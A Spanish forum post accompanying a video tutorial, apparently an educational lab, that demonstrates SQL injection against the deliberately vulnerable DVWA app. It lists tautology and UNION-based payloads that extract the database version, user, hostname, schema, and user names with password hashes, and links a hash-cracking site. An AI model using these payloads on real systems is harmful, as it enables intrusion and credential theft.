Página 1 de 1

Laboratorio de seguridad web: SQL Injection y cómo prevenirla

Publicado: 24 Mar 2022, 21:36
por admin
Laboratorio de seguridad web: SQL Injection y cómo prevenirla

Este video explicará la inyección SQL, el impacto de los ataques SQL exitosos, ejemplos de técnicas de inyección SQL y cómo prevenir la inyección SQL. Disclaimer / Descargo de responsabilidad: este canal es estrictamente educativo para aprender sobre ciberseguridad

Imagen
 
LABORATORIO o TESTEO de PRUEBA
Imagen Sentencias o consultas o comandos usados en el video

Código: Seleccionar todo

Acceder a base de datos via cli

sudo mysql -u root -p

USE dvwa;

SELECT first_name, last_name FROM users WHERE user_id = '2';

SELECT * FROM users WHERE first_name='Gordon'; -- ' AND password='1111'

------------------------

Ejemplos de obtencion de datos

A - Se obtienen datos del usuario

1  

Tambien modificando la url se puede obtener
datos del usuario

http://172.16.15.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

SELECT first_name, last_name FROM users WHERE user_id = '3';

B - Obtener toda la info de una tabla

%' or '1'='1


SELECT first_name, last_name FROM users WHERE user_id = '%' or '1'='1';


C - Obtener la version de la base de datos

%' or 0=0 union select null, version() #

test'union select null, version()#



D - Display el usuario de la base de datos. Con que usuario
el lenguaje de programacion hace las consultas a la base de datos

%' or 0=0 union select null, user() #

test'union select null, user()#


E - Mirar el nombre la base de datos donde estan todas las tablas

%' or 0=0 union select null, database() #
test' union select null, database() #

F  -  Listar todas las tablas que tiene la base de datos

%' and 1=0 union select null, table_name from information_schema.tables #
test' and 1=0 union select null, table_name from information_schema.tables #


G - Display el hostname donde esta alojada la base de datos

' union select null, @@hostname#


H- Todas las columnas de una tabla

test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #


I - Mostrar el contenido de las columans

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
LINKS o ENLACES

https://softwarelab.org/es/que-es-inyeccion-sql/
https://byte-mind.net/sql-injection-tip ... ramedidas/
https://www.golinuxcloud.com/install-dvwa-kali-linux/
https://nooblinux.com/sql-injection-exp ... sing-dvwa/
https://crackstation.net/
https://stackoverflow.com/questions/528 ... hrough-cli
https://www.f5.com/es_es/services/resou ... n-firewall
https://crackstation.net/

VIDEO TUTORIAL



Temas relacionados: inyección SQL, impacto y técnicas, prevención, laboratorio educativo de ciberseguridad.